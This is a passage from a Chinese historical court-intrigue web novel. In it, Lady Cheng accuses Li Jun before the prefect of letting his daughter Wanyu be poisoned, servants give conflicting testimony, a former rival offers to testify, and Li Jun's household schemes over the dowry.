“李大人何必装糊涂!既然如此,咱们索性把所有事情挑开!你的大女儿早已经被你那老母和小妾害死了,如今家里的是关老爷子亲手养大的另一个双生儿,你怎地不敢把这事儿说出来,叫大家伙评评理?!”程娘子立刻怒声指着李珺说,“真可笑,你在外面装了十几年宠爱大女儿、怀念娘子,可你大女儿私下被小娘欺负的睡发霉的被褥!你全家在京师快活过日子的时候,婉玉被你老母丢在庄子里,三日只得一缸水用,饭食都吃不上,到最后还被断肠草活活毒死!” “各位乡亲!”程娘子说到这里,双眼发红对着外头说,“一个皇庄子里伺候的厨娘,家里上上下下一厨房的人,日日在乡下过日子的人,居然认不出断肠草,你们信吗?!” 外头的百姓都哑口无言,人群里这时候骤然有个声音说:“不信!” 有人开头,便有人说起来,说:“确实,这实在是匪夷所思!” 李珺脸色难看,他本以为程娘子不知道这事儿,没想到她竟连关怀素的真实身份都知道了,而且还全无芥蒂,立刻为关怀素出头! 他想说什么,却听到程娘子怒声说:“不但如此,婉玉的亲祖母给她安排的丫鬟,在她喊腹痛两个多时辰之后,才给她请了郎中,生生掐着时候让她死了才叫人,你们敢信这不是安排好的嘛?!” “那是刁奴欺主,我早已经全数处置了!”李珺脸皮发胀,立刻怒声喝骂,“县主不要扯开话题!” “我可没有扯开话题!李大人,你那时候为什么不叫人细查婉玉中毒的事情?你为什么就让府衙判完案,便假装无事发生?据我所知,在这事儿之后,那两个丫头的干娘和娘老子都还在你家里当差吧?!”程娘子看着李珺,冷冷地盯着他,说,“谁家真心疼爱孩子的人,在孩子遭了这等磋磨之后,还会养着刁奴的家里人?” 这事儿李珺还真知道,他立刻开口,说:“此事我交给了家里夫人去处置,夫人说是玉儿体贴下人,说祸不及家人,替他们求情了!” 程娘子发出大笑,说:“好,不愧是李大人,真正是宅心仁厚的君子!” 这句宅心仁厚,叫李珺像被人扇了一巴掌一样,外头看热闹的百姓越来越多,有些上年纪的老婆婆听到这里,便摇头说:“好狠心的后娘,她这么去问,一个没娘的孤女能怎么回?还不是大人说什么便是什么!” “确实,这爹也是个狠心的,明显是没把大女儿放在心上。”还有明显是家里有女儿的老伯也在悄声议论。 李珺都听得清楚,脸皮火辣辣的,他往日不管这些事情,也觉得这些事情交给孙大娘子没什么问题,此刻被人说起来,却像是把他的一些小心思都剖开了一样,叫他真正是无地自容。 程娘子可没打算放过他,只冷声说:“既然李大人对下人都如此宅心仁厚,如此关切妥帖,那为何郎中说家里谁都可能下毒,你却第一时间说是大女儿下毒,为此甚至想半夜毒杀她?” “李珺,你到底是想为母亲报仇,还是想趁机杀了你的这另一个女儿,叫关娘子一对双生胎都死了,你便能高枕无忧地吞没关家全部财产?!”程娘子怒斥出声,一时叫众人都惊呆了! 立刻便有聪明人反应过来,说:“难怪李大姑娘突然会梳理京师水道,还被平安侯请了办事!” “对啊,我就是城西的,往年每次大暴雨我们那里都会死人,今年多亏了关家姑娘,京师这都暴雨了好几次,竟一次也没积水了!”有城西的百姓说到这里,便扬声说,“可不能随意污蔑好人,关姑娘瞧着不是那等人!” “对啊,关老爷子当年也是最乐善好施的好人,不可能养出下毒害了祖母的孙女!”还有人在人群里叫。 李珺登时脸色极其难看,他没想到关怀素整治京师水道一事,竟让她得了不少民心。 当日李珺是暗暗觉得,大女儿此事办得好,也是给他脸上添光,可放在如今情势之下,反而变成了掣肘! 心中想着,李珺面上也没耽搁,立刻怒声说:“都是我的骨血,若是没有证据,我能随意污蔑她么?” 他拱手对孙府尹说:“孙大人,我带来了家里伺候的下人作证,亲眼看到是我那大女儿下毒。都是我的血脉,我本想着瞒下此事,把她送回老家安稳度日,却没想到她有县主帮衬,反倒倒打一耙!” 说到后面,李珺声音哽咽,他素日名声好,一下子叫外头百姓也惊疑不定起来,一时都静了下来。 孙府尹闻言,立刻叫人带李家下人来。 于是跟着李珺出来的严妈妈和孔妈妈,还有正院伺候的许多下人都进来,挤挤挨挨地跪了一地。 “回青天大老爷,老婆子亲眼见到大姑娘给老夫人药碗里下药!”严妈妈跪下,开口就笃定地说。 众人登时都哗然,毒杀长辈,这女子何等凶残,简直是孽女!! 第一百四十四章 当庭对峙 “回大人,这妈妈打肇州就伺候我母亲,已经是几十年的老人了,她亲眼所见,我如何能不信?!”李珺拱手,流下泪来说,“就算如此,我想着她年纪小,又是我与发妻所生的唯一孩子,还是打算把此事瞒下来,日后送回肇州,没想到、没想到……” 说到这里,李珺潸然泪下,再说不出一句完整的话来。 众人都沉默了,只觉得李珺一片慈父之心,实在是无可指责。 “李大人,我那侄女还一身伤地躺在床上呢,若不是我亲眼所见,太医亲口所说,说是下了死手,差点活活打死,许要养一年半载才能稍微好些……我还真当你是慈父呢。”程娘子冷笑一声,恶狠狠地看着李珺说,“李大人……不对,你因对付发妻恩人之子、徇私枉法,已被罢职,当不得大人之名,李珺,你如此口蜜腹剑、阴毒小人,真是我一辈子都未曾见过的厚脸皮!” “你大胆!”李珺气地指着程娘子怒斥,“我后来让家里大娘子用了家法不假,但是若不是她反倒跳起来与家丁动手,殴打家丁,还差点殴打继母,何至于家丁们失了分寸!” “肃静!”孙府尹眼见着二人吵得厉害了,马上出手制止,而后看着严妈妈,问:“你当日如何看着大姑娘下毒,她到底是如何做的,细细说来?” “是!”严妈妈答完,立刻说,“老夫人叫大姑娘侍疾,大姑娘素来就不愿意,上回侍疾一会儿,打碎了老夫人两三个碗,气得老夫人差点昏过去。可老夫人还是想着叫她侍疾,日后出嫁,能侍奉祖母,也是一件增添名声的好事……” “说重点!”孙府尹听得头大,不耐烦地立刻呵斥。 “是是。”严妈妈吓了一跳,才仓促地说,“老夫人叫大姑娘侍疾,大姑娘来的时候就不高兴,还说老夫人是装病折腾人。这就算了,我亲眼瞧见孔妈妈给大姑娘悄悄递了老夫人常用的药膏,然后大姑娘便挑起一坨,放在碗里搅和一下,给老夫人喝下了。” “你看到了,你为何不阻止?你这等不当事的下人,该拖出去杀了!”程娘子立刻呵斥! 孙府尹也觉得十分不合理,拍了一下惊堂木,说:“你看见有人给你主人家下毒,为何不出声?” 严妈妈吓得一哆嗦,而后说:“我当时没想那么多,我是早先看到孔妈妈迎出去,顺着袖子给大姑娘塞了东西。后来我端水出去,刚巧看到大姑娘手指黑漆漆的从药碗里抬起来……然后老夫人喝了药便毒发,我这才反应过来,我是看到大姑娘下毒了!是老婆子愚蠢,若是早些反应过来,老夫人不会如此殒命……” 说到这里,严妈妈伏地大哭。 “孔妈妈,你可是真的与大姑娘勾搭,给主子下药!”孙府尹一拍惊堂木,问孔妈妈! 孔妈妈原本就披头散发,身上还有血迹,本来进门的时候都在恍惚,直到看到跪在旁边的人群里,居然也有才嫁出去不久的女儿一家,神色还十分凄惶,登时就露出焦急之色。 此刻被审问,孔妈妈看向女儿,紧张到不知如何是好!她此刻心中十分犹豫,毕竟在家时不只是受了拷打,孙大娘子临行前威胁她,若是她好好作证,那日后自然也能放她出去,当一切都没发生过。 “如果孔妈妈真的与大姑娘勾结,下毒害老夫人,李家为什么要派杀手去追杀孔妈妈的女儿?!”程娘子怕孔妈妈不明白情势乱说话,立刻开口,表面上是怒斥,实则是告诉孔妈妈,青黛已经遭过大危险了,程娘子怒声说,“不就是想屈打成招,杀人灭口!” 果然孔妈妈闻言,惊恐的脸色一变! 李珺心道不好,立刻说:“你胡说什么,那什么杀手,明明是你们为了栽赃自导自演!我绝不会对家中放出去的下人下手!何况这妈妈收了我那长女五十亩地,又收了那么多赏赐,若不是叫她办这种大事,怎会如此大方赏赐她祖母身边伺候的人?” 程娘子冷笑说:“是啊,李大人真是个好人,连自己女儿都能眼睁睁叫人磋磨死,你说的话到底能信几分呢?” 又说:“至于赏赐,关家待下人素来最是厚赏,这事儿天底下谁不知道?若不是关家人仁厚,当年能让素问嫁给你一个六品小官,还陪嫁十里红妆吗?” 李珺脸皮涨红,说不出话,孙府尹欣赏一会儿,才对孔妈妈说:“到底是怎么回事,你细细说来!” 孔妈妈听到程娘子的话,登时浑身一抖,再看到人群里青黛含泪摸了摸脑袋上的珠花,又点点头,隐蔽地比了个大拇指。 那是关怀素当初赐给青黛出嫁的头面,孔妈妈一片混乱之中看到这一幕,心中立刻下了狠心。 她埋下头,眼圈发红,大声喊:“冤枉啊!青天大老爷,我是被冤枉的啊!老婆子也是伺候老夫人几十年,怎会背叛主子,还帮着外人给主子下毒?” 她转头怒视严妈妈,恶狠狠地说:“反倒是这个老虔婆,上回老夫人提拔我,让我管家,她心中一直不忿,所以借机污蔑我!” “那你可看到大姑娘有什么异动?!”孙府尹立刻问。 “没有,药是严妈妈送到大姑娘手上的,要我说,没准是这个老虔婆收了人家的好处,给老夫人下药,而后贼喊捉贼!”孔妈妈恶狠狠地说! 严妈妈没想到事情绕回到自己身上,立刻大呼冤枉。 “肃静!”孙府尹立刻喊停! 而后对着李珺和程娘子说:“此事双方各执一词,你们二人可还有其他证据?” “我查问过家里所有下人,所有下人都可以作证,熬药的炉子也找人看了,没有毒。毒是下在碗里的,严妈妈一路送回去都有人亲眼看到,她根本没机会接触到药膏,根本没办法下毒!”李珺拱手,说,“此事若不是板上钉钉,我又何尝想相信自己的亲生骨肉是这等谋害亲长的孽障?” “李珺,你说得可真好,满屋子下人都可以作证……当初害死婉玉的,可也是老夫人调教的下人!”程娘子冷声说,“老夫人调教的下人敢害死婉玉,为何不敢冤枉她毒杀亲长?” 她死死地盯着李珺,说:“李珺,你什么时候知道婉玉死的?你可曾细查家里的下人,可曾细查发生过什么事情?好,我就当此事久远,你查不到,可怀素是你的亲生女儿,是你十几年未曾见过的亲女儿!她为何乔装改扮地到了李家,又经历过什么,受过什么委屈……你为何一点也不在意,反而在她身份暴露之后,立刻要对她下杀手?你是不是为了杀人灭口,是不是当年素问的死真的有问题,才叫你如此下杀手!” 此话一出,李珺怒声呵斥:“你混账!” 他气得发抖,看着程娘子怒声说:“县主,我敬你身份,一再忍让,你却对我一再污蔑、血口喷人!” “是我血口喷人,还是你家里理亏?你李家如今全部家财都是关家的,素问陪嫁的五个庄子,你分给大房一个、妾室一个,你娘两个,你一个……”程娘子冷笑,说,“这些年,你的妾和孩子都是关家养的!素问临终时与你击掌为誓,说等到女儿及笄,你便要把所有嫁妆还给女儿经营,你做了吗?你母亲让下人害死婉玉,到底是巧合,还是杀人夺财?!” 这话问到这里,李珺悚然而惊,他差点脱口而出,说:“你怎么知道?!” 你怎么知道当初的约定?! 这是他私下和关素问的约定,是素问临终前的事情,此事按道理来说,应该只有几人知晓才是! 李珺登时惊呆了,好在他还有点理智,死死一口咬住,拦住了自己差点脱口而出的话! 他背上冒出冷汗,首先确认的是这件事情绝不能承认!否则他家里就真的有了杀人灭口的动机! “你说的什么,我根本不知道此事!”李珺脑子嗡嗡的,来不及细思,便只能脱口而出。 说完他就觉得糟糕,此事应对不周全,但是他这会子实在是找不到更好的办法,只能硬着头皮说:“再说了,我这些年为官,怎么会差这点钱财?” 干巴巴地说完,李珺便拱手对孙府尹说:“孙大人,县主一直在顾左右而言他,咱们不是该审老夫人之死么?!” 孙府尹温声对程娘子说:“县主,我们现在要调查老夫人之死,才能为关姑娘洗清冤屈。” 程娘子点头,说:“如今两边都有自己的说法,李大人也没有证据,我倒要看看他还打算怎么冤枉我的怀素!” “满院子都是证人!”李珺指着跪了一地的下人,说,“大人只管一个个问!” 果然地上都是一片附和之声。 “那我还有孔妈妈作证,大姑娘根本没做这些事呢!”程娘子指着孔妈妈说。 孔妈妈立刻点头。 李珺怒声说:“她收了五十亩地,几百两的钱财,她说的话根本不可信!” 正要吵作一团,王妈妈见情况差不多了,立刻突然大声说:“青天大老爷,老婆子知道一件事情!” 众人一愣,王妈妈立刻说:“要说收钱,我知道严妈妈也收了钱!” 这下子大家都呆了,严妈妈也是立刻大吼:“你胡说什么,你不是老了犯浑被赶出李家了么?怎么这会子又不糊涂了!” “大人,我知道严妈妈的儿子前几日在京师外头买了宅子,那地方虽是外城,也不便宜,至少得千两!她那儿子是个烂赌鬼,也没个营生,这钱来得可古怪!”王妈妈也不管,只大声说,“大姑娘赏赐一贯大方,原先在家厚赏我和孔妈妈,其实为的是想叫我们在老夫人面前给她说说好话,大姑娘的婚事一再起波折,大娘子一开始找了个家里已经有了庶长子女的滁州公子给她相看,后来又折腾着西北来的胡商……大姑娘瞧着实在是不成,原是想叫我们在老夫人面前说说好话,好歹不耽搁了一辈子……” 说到这里,王妈妈擦着眼泪,说:“我们伺候老夫人一辈子,收点好处替大姑娘说说好话,确实是干了,但是杀人之类的大事绝不可能啊老爷!” 外头众人一听,立刻神色微妙起来。 立刻便有人窃窃私语,说:“我的天啊,关姑娘可是大儒之后,随便找当年的亲旧都不知多少人想娶,怎么找的都是这种上不得台面的。” “嘘,都说了不想还关娘子的嫁妆,自然是远远地打发了,没听都是找的几千里外的地方么!” 这帮百姓以为自己声音很低,其实他们嗓门大,早已经叫李珺听得清楚。 李珺气得发抖,偏还要假装镇定,说:“家中子女婚嫁,素来都是家里夫人经手,此事我先前不知,后来得知那人人品有异,也已经拒了!” “大人,李珺他完全不管大丫头死活,大丫头一个丧母之女,她只能拿出钱财给祖母身边有脸面的婆子,让她们说些好话。这原是为自己打算,完全说得过去,李珺却借此想打死她,一定是为了趁机杀人夺财!”程娘子却完全不管李珺的辩白,直接对着孙府尹拱手说! “此事本府会立刻着人去查看!调查完毕之后,再开庭审理!”孙府尹一拍惊堂木,当场定论。 程娘子和李珺都可以回家等着,这帮下人却不能走,都是人证,全部都给丢入大牢,等着一个个羁押察看。 到了大牢里,这帮下人如何互相咒骂是一回事,孙府尹自有自己的头疼。 “夫君今日为何愁眉不展?”孙府尹的继妻看他回来一再皱眉叹气,便忍不住问,“关姑娘应不会那么糊涂,对着祖母下毒吧?夫君可是烦恼如何审案?” “李珺养的好女儿,差点害了咱们丽娘一辈子,我想为丽娘出口气,可是如今局势实在是乱,我竟想不到好办法。”孙府尹叹了口气,有些自责地说,“怪我没本事,若我位高权重,李珺的女儿怎敢如此欺负我们的丽娘?是我这个爹不争气,让女儿受委屈了。” “夫君何须自责?”丽娘的母亲一听,眼泪登时下来了,哽咽说,“也是我太纵着她,把她养成了个天真性子,才有此一劫,说起来也是我这个做娘的不是……” 二人说着,想到已经被退婚的女儿,前些日子虽得了良娣夸奖,但是好婚事退了就是没有了,现在再找,也是难有那么可心的。 一时二人都唏嘘难受。 他们却都没发现,外头丽娘听说李婉玉已死,匆匆赶来想问事情真假,结果刚巧把事情听了个清清楚楚,也把父母对自己的关切和担忧听了清楚。 她转身就走,丫鬟紧张地问:“姑娘,我们怎么不进去了?” “去见关姐姐!”丽娘眼泪一串串地落下来,却神色坚毅,轻声说,“我要做点事情,一些我应该做的事情!” 她神色坚毅,一路含着泪,丫鬟瞧着她神色不对,也急得快要哭出来,可到底不能阻止,只能悄悄跟着丽娘,一路往公主府去。 第一百四十五章 丽娘献策 关怀素正在和周乐天说话。 听说孙丽娘来探病,关怀素登时一愣。 “你若是不想见,我就叫人打发了。”周乐天知道她和孙丽娘关系不好,便主动开口。 关怀素本也不想见她,可她来的时候太凑巧,她犹豫了一下,说:“无事,叫她进来吧,看看有什么事情。” 没一会儿,便见到孙丽娘来了。 一进门,孙丽娘便立刻双膝跪地,行了个大礼,吓得关怀素挣扎着连声说:“你这是做什么?” “我给婉玉姐姐赔罪!”孙丽娘眼睛发红,眼睛都是肿的,她说,“我方才才知道,婉玉姐姐竟然早已经死在别庄,当初我亦是对着婉玉姐姐落井下石之人,若不是我们嘲讽,李家怎会把她送去别庄,导致婉玉姐姐惨死,而今悔之晚矣!” 说完又流下泪来。 关怀素看她眼睛肿胀,显然真的一路哭着过来的。 孙丽娘经历了许多,显然真的长大了。 可她到底是曾经欺负过姐姐的人,关怀素也做不到和她握手言和。 好在孙丽娘懂了她的沉默,流泪说:“我犯下大错,助纣为虐,不指望姐姐原谅我,我也受不起。但是我想到一个办法,许能为婉玉姐姐报仇,也算是我对九泉之下的姐姐道歉,也是为我自己报仇雪恨!” “你有什么想法便说。”周乐天见关怀素面露难过,知道她想到了姐姐艰难日子,便主动开口,说,“若真是有用,我不会亏待你!” “不用。”丽娘摇头,含泪看着关怀素说:“关姐姐,当初婉淑和婉容对婉玉姐姐十分欺凌,不但排挤婉玉姐姐、夺走她值钱的东西,且孙大娘子还故意假装不知道厨房苛待婉玉姐姐……关姐姐,你知不知道,婉玉姐姐小时候,曾经吃过好几年下人剩的馊饭!” 此话一出,关怀素登时失声惊问:“你说什么?!” 丽娘点头,含泪说:“当初婉玉姐姐哭着与我们说过,可是大家都不相信,实在是因为这事情太荒唐,孙大娘子又是京师出了名的贤惠人,自然没有一个人相信婉玉姐姐。可是我现在却信了,因为我自己遭了婉淑的害,出去与人分说,别人都不相信,只说我性子冲动,不该攀扯他人!” 说到最后,丽娘语调之中带着浓浓的怨愤,说:“她们母女素来都是如此,便是陷害人都口蜜腹剑,叫人有苦说不出!” 关怀素不可置信,她心中仿佛燃起了一束火焰,压着脾气问:“你确定,我姐姐真这样跟你说过?” “我对天发誓,若有一句假话,便叫我蒙冤一生不得复仇,死无葬身之地!”丽娘并指对天直接发了毒誓,而后说,“不只是孙大娘子,崔小娘与婉容也不遑多让,只是孙娘子管家,下人趋炎附势,都帮着她苛待婉玉姐姐罢了!婉玉姐姐曾哭着亲口对我们说,吃了多日馊饭,自己的份例全叫下人占了,但凡好些的首饰和衣料也全数叫两个妹妹拿走了,连儿时母亲留下的长命锁、璎珞、压惊的各种小金器也全数被人偷走了!婉玉姐姐说,说她生不如死!” 关怀素瞬间泪水长流,不自觉地说:“生不如死、生不如死,姐姐说她生不如死……” 说到这里,关怀素潸然泪下,再说不出一句话来。 “你说这些,到底是想做什么?”周乐天看关怀素哭得快昏过去,她身体本就受了伤,哪里禁得住?便厉声问丽娘。 “我想报仇!”丽娘脸上戾气横生,怒声说,“我想为姑娘站出来作证,证明当初李家对婉玉姐姐百般虐待,我脑子不聪明,想不出别的办法,但是我想着站出来,多一个人证,总能叫关姐姐多一点证据!” 丽娘性子一贯鲁直,这已经是她成长之后,能想到的最好办法了。 怕关怀素不相信,她立刻说:“先前庞家大娘子出来告李珺的状,当年为了争夺庞家土地的状纸,是我找到,私下偷偷给庞大娘子的!怀素姐姐,丽娘知道自己做错许多,此刻绝无一丝隐瞒!” 关怀素闻言,心中剧震,她知道孙丽娘是认真的! 她挣扎着起来,亲手扶起丽娘说:“我姐姐之死,有许多因素,丽娘妹妹,我不能撒谎骗你,我确实没办法当作姐姐的委屈没发生过,我没有资格替姐姐原谅,但是你愿意如此帮我,我知道你也是被婉淑利用,你也有你自己的委屈。” 这话一说出来,丽娘眼泪一下子喷涌而出,她连声哽咽地说:“关姐姐,对不住,对不住……” 关怀素也含泪拍了拍她的手,轻声说:“丽娘妹妹,若是出面会引发大问题,你还当保重自己才是。婉淑害你在先,你没必要把她那一份也背负上。” 丽娘还以为自己会被冷嘲热讽甚至打出门去,她刚才听到李婉玉居然已经死了,心中惊恐和负罪感差点淹没了她,她当时想给婉淑出气,嘲讽李婉玉,可是她没想过自己的一些举动居然会害死人! 此刻又听关怀素这么说,态度也比她想象的温和,孙丽娘含泪看着关怀素,坚定地说:“姐姐你只管等着,我必然办好此事!” 说着,不顾关怀素还要劝阻,丽娘便行了个礼转身而去。 关怀素心中担心,跟周乐天说:“劳烦侯爷帮忙注意些,别让她做傻事。她……哎,她确实不是个坏人,可惜了,叫婉淑折腾成这样。” 周乐天自然应下,关怀素伤得很重,喝了药便昏昏沉沉地睡了。 周乐天从屋里出来,来福便来回话:“爷,丁妈妈也被接回来了,年纪大了,遭了大罪。我们连夜去的,不然人都不中用了。” “李珺此人,面善心毒,伪君子至极!”周乐天脸含煞气,拢了拢翻毛袖子,说:“庞文回京述职,已经安置好了吧?让人告诉他,趁这个时机,要报仇就赶紧的,别耽误了!” 来福应下,周乐天眯了眯眼睛,轻声说:“宫里的消息可递过去了?” 来福立刻点头,压低声音说:“殿下和圣人那边都递过去了。” “京师能指挥得动人这等训练有素的杀手,李珺只怕还有我们不知道的糟污事儿!”周乐天冷声说,“等着吧,圣人一定会细查的!不必顾忌李珺咳咳咳咳……” 说到这里,周乐天猛地发出惊天动地的咳嗽声,打断了对话。 来福登时急了,连忙说:“爷,你也休息一下吧,昨儿个大晚上淋透了,你这身子才稍微好点,可不能折腾了。” 正说着,伺候的下人进来禀告,说是宋家三郎登门拜访,说是想见关姑娘。 “来福,你去打发了。”周乐天脑袋有些发晕,这一天一夜折腾下来已经快支撑不住,只是说完,周乐天突然想到什么,说,“走,去见见他!” “爷,我去吧。”来福说,“您得休息了。” “他爹是刑部尚书。”周乐天却眼含精光,说,“若是事情闹大,少不得牵扯到,他一贯仇恨李婉玉,探探他来到底是什么事情!” 便是在这样的隐约戒备之中,周乐天出去,便见到了一脸焦急却强装镇定的宋律。 他听到动静,欢喜地转过身,一回头看到来人是周乐天,登时就露出失望之色。 周乐天当时就觉得隐约不对劲,说了句场面话,便问宋律:“你来到底有何事?” “我想见关姑娘!”宋律却着急地说。 “你想见关姑娘,为什么?”周乐天看着他,看宋律欲言又止,周乐天奇怪地看着宋律,说,“你与关姑娘全无交情,你凭什么见她?” “我、我那时候不知道她是关姑娘,我以为、我以为……”宋律想说什么,却有些尴尬,说,“我想对她道歉。” “她受了重伤,此刻已经休息了,下次吧。”周乐天拒绝。 “侯爷!”宋律见此,也不好硬闯,只能开口,说,“麻烦您转告她,我相信她,我信她绝对不可能对祖母下毒!” 周乐天闻言,脸色稍微好看了一些,点点头,说:“好。” 说完,二人再也无话,宋律便只能拱手告辞了。 “爷,这宋三郎是做什么,巴巴跑过来就为了说这话?再说他不是一贯最看不惯李婉玉,最喜欢讥讽她的么?”来福都没看明白这到底闹得什么事儿,好奇地问。 “谁知道!”周乐天脑子昏沉,对来福说,“许是关老爷子当初与宋家有什么恩惠,他来帮手的吧。” 说着,周乐天实在是支撑不住,匆匆吩咐关怀素醒了就来回话,自己回了屋,便一下子倒在床上,昏死一般睡了过去。 闹了一天一夜,终于大家都睡了个好觉,那边李家,李珺却又是惊恐又是愤怒,从衙门回来,一巴掌就扇在了孙大娘子脸上! 第一百四十六章 互相设局 “你说你已经把家里都安排好,结果那孔妈妈一到衙门就喊冤枉,你到底是怎么办事的!”李珺又气又急,扇得孙大娘子一下子跌坐在地上! 孙大娘子原本心焦了一下午,好容易等到李珺回家,便立刻急匆匆地迎上来,没想到竟被一巴掌打得头昏目眩! 她跌坐在地,不可置信地捂着自己的脸。她和李珺成婚十几年,不论闹得再怎么厉害,却从未挨过李珺一个手指头! 李珺看她不可置信的表情,终于意识到自己太过了,他立刻软下来,轻声说:“你不知道,今日我在衙门被县主逼得无地自容……” “大娘子,爷今儿个给京师百姓围着嘲弄,真正是这辈子都没这么丢人!”长随也跟着说话,把今儿百姓说的话学了几句,孙大娘子登时也不难受了,立刻担心地看着李珺,说,“原来是这样,是我办事不力,夫君你受委屈了。” “哎,他们今日已经去捉拿严妈妈的儿子了,那钱是你打赏的吗?手脚可做清楚了?”李珺便叹了口气,问孙大娘子。 “不是啊!”孙大娘子闻言一愣,说,“我说事情办好之后再打赏,还没给钱呢!” 两人登时都愣了一下,李珺登时脸露悲伤说:“也许是母亲打赏的,她前不久说到身体不好,还跟我说等她不在了,伺候了一辈子的几位妈妈一定要安置好。” 说到这里,李珺眼圈都红了。 孙大娘子含泪劝李珺:“夫君还是要保重身子,家里都指望着你呢!” “你也是,我方才太急躁,竟对你动手,你可还好?”李珺拉着孙大娘子细细检查她的脸,孙大娘子脸上露出羞赧之色,轻声说,“无事,也是我事情没办好,耽误事情了。” 二人正是这些日子罕有的温情时刻,却听到门口突然有人进来,急匆匆地说,“周妈妈带着她那孙儿在门口求见,说是有大事要跟您说。” 李珺立刻皱眉,孙大娘子急了,说:“妈妈是老糊涂不是?她这时候添什么乱!” “周妈妈说,事关大姑娘,万分火急!”下人这么一说,李珺和孙大娘子对视一眼,孙大娘子立刻说,“叫她进来!” 周妈妈匆匆进门来,稍微行了个礼便说:“老爷、娘子,我这孙儿查到了一件大事!” “妈妈你说。”孙大娘子看了一眼李珺,说,“若不是大事,可别说老爷和我不给你留体面!” 周妈妈立刻点头,跪下说:“前不久娘子让我去查了八仙庄和关家下人的事情,结果查到了,关怀素带着的关家下人,经营着如今京师最挣钱的布庄产业!” “你说什么?”孙萍和李珺双双愣住。 “回娘子,小的在城外茶摊子上,听周围打零碎工的说闲话,说得真真切切,他们都喊关姑娘带来的那老妈妈和下人为管事,上头显然是有贵人。他们在京师从不随意走动,上头能有什么贵人?想来便是关姑娘了!”周妈妈的孙儿便拱手,立刻讨好地回答,“小的想着这样猜测到底不靠谱,便干脆假装做工的村人去打零工,混了进去,果然确认了,最近那叫钟妈妈还在,但是管账的孙管事却不在了,说是贵人让人去办事,出去小半个月,没了孙管事,最近大家伙工钱都算得慢许多,大家都有些着急呢……” “你说什么?”李珺却猛地打断了他的碎碎念,猛地问,“姓孙的半个月前离开了京师,去了哪里,是去做什么?” “这、小的也打听了,只听说是贵人让他办事,说是去了河南一带……”周妈妈那孙儿愣住,绞尽脑汁地回想了一下,说,“其他的,小的就不知道了!” “老爷,那布庄据说就是下金蛋的母鸡,门口接货的马车都没停过,工人一个月的月钱算下来都吓人的咧!若是关姑娘不在了,这些东西都是李家的啊!”周妈妈觉得这才是大事,立刻提醒老爷。 但是李珺却厉声追问:“你想清楚,到底是办什么事情?” 李珺有种非常不安的感觉,他总觉得关怀远这个关门弟子一定是关怀素十分信得过的左膀右臂,这样的人不会随意离开京师,若是离开,定然是关怀素吩咐了什么。 关怀素之前派人接回来了郑妈妈,难道这次还有什么关家人活在外头? 想到这里,李珺登时急了,盯着周妈妈那孙儿不放。 周老幺给老爷盯着,满身吓得出汗,过了一会儿猛地想起来:“是去接人!我和那边老跟着孙管事的几个人吃酒,说话的时候听了一嘴,说是接个郎中!” “接郎中?!”李珺闻言,登时心里一沉,他问,“你确信?” “是的!当时工头骂了几句,不许再说,但是小的听得清清楚楚,说是接个郎中!”周老幺回想一下,斩钉截铁地说。 李珺鬼使神差一般,瞬间就想到了闵志杰! 闵志杰就是当初他和素问那个约定的见证人!而且闵志杰手上也有一份文书! 他那份早就烧了,素问那边的那份一直没找到,当年上下都查了,确实没见到,后来十几年过去,李珺也早忘了这事儿。 可今儿程娘子在公堂上说出了这件事情,那就很有可能,素问那份契约,一直都在程娘子手上! 所以今儿她会这么说,所以关怀素才会和她突然感情这么好……如今想起来,一切竟都水落石出了! “坏事儿了!”李珺登时什么火气都忘了,全身一下子血都凉了,跌坐在榻上。 孙大娘子忙问:“夫君,怎么了?这里头可是有什么大事?” 李珺疲惫地摇头,说:“周妈妈是个忠心的,你好好厚赏他们,我先去休息。” 孙大娘子想问,但是李珺却不愿继续说,她也只能眼睁睁地看着李珺走了,好在周妈妈立下大功,孙大娘子便想着叫她回来继续伺候,又给了周老幺一份活计,叫祖孙二人十分欢喜不提。 话说李珺进了二门,在照壁那边犹豫了一下,李福问:“老爷,可是去宁小娘那边?” 李珺犹豫了一下,却摇头,说:“双双昨儿回来就身子不好,别惊扰她,去西院。” 李福忙伺候着,李珺一路就到了西院。 进了西院,院子里鸦雀无声,屋里大门紧闭。 李珺走到门口,守在门口的丫鬟一惊,想要请安,却被李珺制止。 李珺推门进去,就听到卧室里有人在说话。 “祈求菩萨,叫老夫人往生极乐,下辈子依旧大富大贵,生于富足之家。信女愿意每年抄经供奉,只求菩萨怜悯,叫老夫人万世安泰……”只听到里头崔妙人轻声祈祷着,声音虔诚而温柔。 而后里面传来窸窸窣窣的声音,便听到姜妈妈苍老的声音带着关切说:“小娘,你这熬得眼珠子都发红了,要不歇歇吧?” “不行,我发了愿,每日要抄三十页经文在菩萨面前烧了给老夫人祈福,要抄足四十九日,不可耽搁!”崔妙人疲惫地轻声说,“如今家里事情多,我也做不了什么,只希望好歹能替老夫人祈福,也叫老爷事事顺心。” 这话说的李珺心中发软,他推开卧室门,便看到里面穿着素衣的崔小娘,浑身上下没有一点珠钗,只耳边簪着白色绒花,捏着帕子眼含泪水地看过来,叫李珺一下子心成了绕指柔。 “妙人,你怎么瘦了这么多!”李珺几步进门,一把拉住了崔妙人的手。 崔妙人泪珠一下子落下来,旁边姜妈妈便轻声说:“小娘这半年日日侍疾,事事亲力亲为,瘦了几圈了,老爷您快说说她,再这么熬不行的呀!” “多嘴!”崔妙人嗔怪地骂姜妈妈,“出去,这里哪里有你说话的地方!” 又对李珺含泪说:“珺哥哥你别怪姜妈妈,她年纪大了,反不如年轻时候管得住嘴巴了。” “她是关心你,我怎么能责备她?”李珺看着崔妙人,心疼地说,“妙人,如今肇州旧人,便只剩你陪着我了,你一定要好好珍惜自个儿身子,不要像母亲一样弃我而去啊!” 说到这里,想到母亲的死,想到家里这一堆的麻烦事情,李珺流下泪来。 崔妙人陪着流了一会儿眼泪,便问起李珺:“今儿个听外头说,衙门里来了人,老爷可还好?” 李珺叹了口气,简单地说了几句今儿对簿公堂的事情,末了叹了口气说:“她也是我和素问的孩子,既然那孩子想拿走素问的嫁妆,那便叫她拿去就是。” “程娘子怎么会知道这事儿!”崔妙人愣了一下,而后紧张地说:“可若是如此,家里日后怎么过日子啊?” “不过是俭省些罢了,倒不是大事。”李珺叹了口气,说,“只是那孩子瞧着对家里怨望颇深,真希望她能见好就收。” 说完,李珺便说累了一天,泡完脚就打算休息。 崔小娘半夜都没睡好,第二日送走李珺,亲自写了一封信,便对姜妈妈说:“快给婉蓉传信,亲手交到她手上!” 姜妈妈便立刻点头,结果信封匆匆出去,没多久信就送到了婉蓉身边。 于是当天晚上,平安侯派了一队人马,一路出了京师。 私下这些事情,关怀素一概不知。 她躺在床上,只听说孙府尹派了人去抓了严妈妈儿子一家,正在审案。 